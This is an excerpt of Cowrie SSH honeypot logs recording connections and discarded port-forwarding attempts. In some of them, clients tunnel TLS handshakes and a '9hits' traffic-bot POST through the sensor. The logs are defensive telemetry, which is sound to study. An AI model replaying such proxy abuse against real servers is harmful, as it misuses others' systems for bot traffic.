\\x97a\\xf0\\x8f\\xab\\x19\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 l\\xc39\\x05e\\xfe\\x9d7\\xb5\\xbc\\xe5j\\xcc\\x16\\xcc\\x8f\\x86V!mC\\x9es\\xd2/\\x1f1\\x86U\\x87\\xf7D\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.441956Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:21.694418Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.852511Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.946562Z","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.949692Z","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.986630Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; VIA_E3 Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eWdhTUMzfTRTRFplIytWcQ%3D%3DmZW6v3Nd8kdOwkJjynKzJqT%2B%2BznYeVVtMV42ZXawUarvcwz9HONS4P16KKe2fab1SVaGER5Q0MWFinMThURqGcHKLQSH53rzNX9JoybuTy7NVrsj2CetHzxf%2BZOb0j4seo%2BTy6MSiRPbSpoexa81zErqU2V5Mkii2pwoUiOgRCHgFit61%2FsXO28XjWCW8lpxtjh8cqmlXSbnofEjTuweh0VhPwKiNutlscsr4ejXWO8JViEWhn4Lh5t8B09Pw%2FvFYJS9cYvGeIE81INg1JIl5nnj6nt5GrVmI0otDhYbHbNn%2F7fWf%2B1b82WX%2Fpw4y5ARWttum9ahtMOyv3nup35tDtSp5rQ8IRBvtVZKAez6%2FKHpPvb2i%2BsMP%2BEU7WvCJjoj5XkwL%2FH%2FAeNHcLXGqbAnQSLJoYRhPWVCyxzGFZqYFF2B211cBSbn0EUHbcxlIEjKOE6ST4RJz6WTr%2BQYBvlzHurXo9fdmeuGGggeXB%2F%2BR5wbdXIDQpPRvHdGvSuJw3O1OgRrkOelb%2FBu4fWPltATs0aBq8%2BlTg%2FzjttjxxACRHfQN%2BeQ8E2uDhtgVS2abN9SwMEi%2Bo3HYebz%2BE3iq4ezJFLZzDKv4iU2Eejqt1LBNh4JcIo9Hj0MDP2K%2BLa9%2F724DcRvQKfitIxwnMbHXRDu4EJ9mJDpoH2GQEWlX1sGU1Un0e5sNp7Yl0dsWurKyPPlpHn5DoIxShKa0O%2FRhhQsdRHB4mlcJcLvihqo8rS%2Bu4qOH0%2FcdQqIX1rZBHk3tk2UjJcrpcW50Zk1HAY%2FJ1qFwKqmJJq0JUDY1M9Gyf%2B5nJk%2FqRBuOuD7W8o7D3KPoaSotzJ0fJKL0%2Fs%2Fu0AOp6OEUu%2FxE%2B6%2B5N9ZZ2TgMFdWEok46PKUVxXSPTrynvcbf07o0AxY8cOnxh1xUaW8c6k%2BSIaiuBCCLAf%2BMe%2FTfqsXhq8upGac%2FistW56rd4qaCLOOWgQx4KvO2N%2FB%2BwlNpoY4J03h297nBhUblmeGQrfzayJpJs4Ly8UnBmuVpZb1wPmK09ISQvZzxLUDL8wOy86ybhbj8UiVIM00L6MPgZsCe7l8BYdZZfh5vyQ9iTmTRXE5'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; VIA_E3 Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eWdhTUMzfTRTRFplIytWcQ%3D%3DmZW6v3Nd8kdOwkJjynKzJqT%2B%2BznYeVVtMV42ZXawUarvcwz9HONS4P16KKe2fab1SVaGER5Q0MWFinMThURqGcHKLQSH53rzNX9JoybuTy7NVrsj2CetHzxf%2BZOb0j4seo%2BTy6MSiRPbSpoexa81zErqU2V5Mkii2pwoUiOgRCHgFit61%2FsXO28XjWCW8lpxtjh8cqmlXSbnofEjTuweh0VhPwKiNutlscsr4ejXWO8JViEWhn4Lh5t8B09Pw%2FvFYJS9cYvGeIE81INg1JIl5nnj6nt5GrVmI0otDhYbHbNn%2F7fWf%2B1b82WX%2Fpw4y5ARWttum9ahtMOyv3nup35tDtSp5rQ8IRBvtVZKAez6%2FKHpPvb2i%2BsMP%2BEU7WvCJjoj5XkwL%2FH%2FAeNHcLXGqbAnQSLJoYRhPWVCyxzGFZqYFF2B211cBSbn0EUHbcxlIEjKOE6ST4RJz6WTr%2BQYBvlzHurXo9fdmeuGGggeXB%2F%2BR5wbdXIDQpPRvHdGvSuJw3O1OgRrkOelb%2FBu4fWPltATs0aBq8%2BlTg%2FzjttjxxACRHfQN%2BeQ8E2uDhtgVS2abN9SwMEi%2Bo3HYebz%2BE3iq4ezJFLZzDKv4iU2Eejqt1LBNh4JcIo9Hj0MDP2K%2BLa9%2F724DcRvQKfitIxwnMbHXRDu4EJ9mJDpoH2GQEWlX1sGU1Un0e5sNp7Yl0dsWurKyPPlpHn5DoIxShKa0O%2FRhhQsdRHB4mlcJcLvihqo8rS%2Bu4qOH0%2FcdQqIX1rZBHk3tk2UjJcrpcW50Zk1HAY%2FJ1qFwKqmJJq0JUDY1M9Gyf%2B5nJk%2FqRBuOuD7W8o7D3KPoaSotzJ0fJKL0%2Fs%2Fu0AOp6OEUu%2FxE%2B6%2B5N9ZZ2TgMFdWEok46PKUVxXSPTrynvcbf07o0AxY8cOnxh1xUaW8c6k%2BSIaiuBCCLAf%2BMe%2FTfqsXhq8upGac%2FistW56rd4qaCLOOWgQx4KvO2N%2FB%2BwlNpoY4J03h297nBhUblmeGQrfzayJpJs4Ly8UnBmuVpZb1wPmK09ISQvZzxLUDL8wOy86ybhbj8UiVIM00L6MPgZsCe7l8BYdZZfh5vyQ9iTmTRXE5'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.989753Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.994483Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93\\xaa\\x05-\\xf6\\x7f\\xb5$:3\\xd3\\xeb?\\xc6\\xa9\\xa0GoaT\\x1fv'C\\x04f'\\xbc{\\x87\\xc7W \\x1b}\\xcap\\x04g\\xc9\\xc6^\\xf5\\xf9i6,;\\xc11\\x90MiT3\\xbf\\xdfj\\x82\\xc8\\xa4{\\x83\\x16\\x1a\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xb7Em=\\x9b\\xcd,c\\xacj\\x03\\xac\\xf3\\xe7\\xe2\\xcdz\\xca->\\xfcL\\x92M\\x8e\\xc2\\x8f\\xe5\\xca\\n/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93\\xaa\\x05-\\xf6\\x7f\\xb5$:3\\xd3\\xeb?\\xc6\\xa9\\xa0GoaT\\x1fv'C\\x04f'\\xbc{\\x87\\xc7W \\x1b}\\xcap\\x04g\\xc9\\xc6^\\xf5\\xf9i6,;\\xc11\\x90MiT3\\xbf\\xdfj\\x82\\xc8\\xa4{\\x83\\x16\\x1a\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xb7Em=\\x9b\\xcd,c\\xacj\\x03\\xac\\xf3\\xe7\\xe2\\xcdz\\xca->\\xfcL\\x92M\\x8e\\xc2\\x8f\\xe5\\xca\\n/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:23.996806Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:24.052239Z","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:24.088012Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\x8fSI-\\x1b\\xa2\\x11\\x16x\\x1f\\x95df\\xab(\\x9d\\xf9\\xa4\\xe2w\\xea\\x84\\x9a\\xfe~w\\x89#\\xea\\x1d\\x12 8\\xdd7\\xc2\\x8a\\x1a\\xff\\x98\\xbe\\xdbMP[\\x8c_\\x8d\\x97\\xdd\\xefJ\\xd0\\x00\\xfa\\xe5\\x84\\xe8%\\x14i\\x98^\\x99\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 :\\x94F\\xc0\\\\\\x83\\xb3\\xf2\\x92\\xe6/-\\x85\\xd9\\xa4z\\x96\\x05\\x0cs\\xe8oS1:r\\xc0\\xb8KP\\xdeD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\x8fSI-\\x1b\\xa2\\x11\\x16x\\x1f\\x95df\\xab(\\x9d\\xf9\\xa4\\xe2w\\xea\\x84\\x9a\\xfe~w\\x89#\\xea\\x1d\\x12 8\\xdd7\\xc2\\x8a\\x1a\\xff\\x98\\xbe\\xdbMP[\\x8c_\\x8d\\x97\\xdd\\xefJ\\xd0\\x00\\xfa\\xe5\\x84\\xe8%\\x14i\\x98^\\x99\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 :\\x94F\\xc0\\\\\\x83\\xb3\\xf2\\x92\\xe6/-\\x85\\xd9\\xa4z\\x96\\x05\\x0cs\\xe8oS1:r\\xc0\\xb8KP\\xdeD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:24.090980Z","src_ip":"63.141.242.2","session":"d7db78f1a6c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":23246,"dst_ip":"159.203.135.109","dst_port":22,"session":"efeed2d52982","protocol":"ssh","message":"New connection: 49.247.37.22:23246 (159.203.135.109:22) [session: efeed2d52982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:24.482419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:24.486779Z","src_ip":"49.247.37.22","session":"efeed2d52982","protocol":"ssh"}
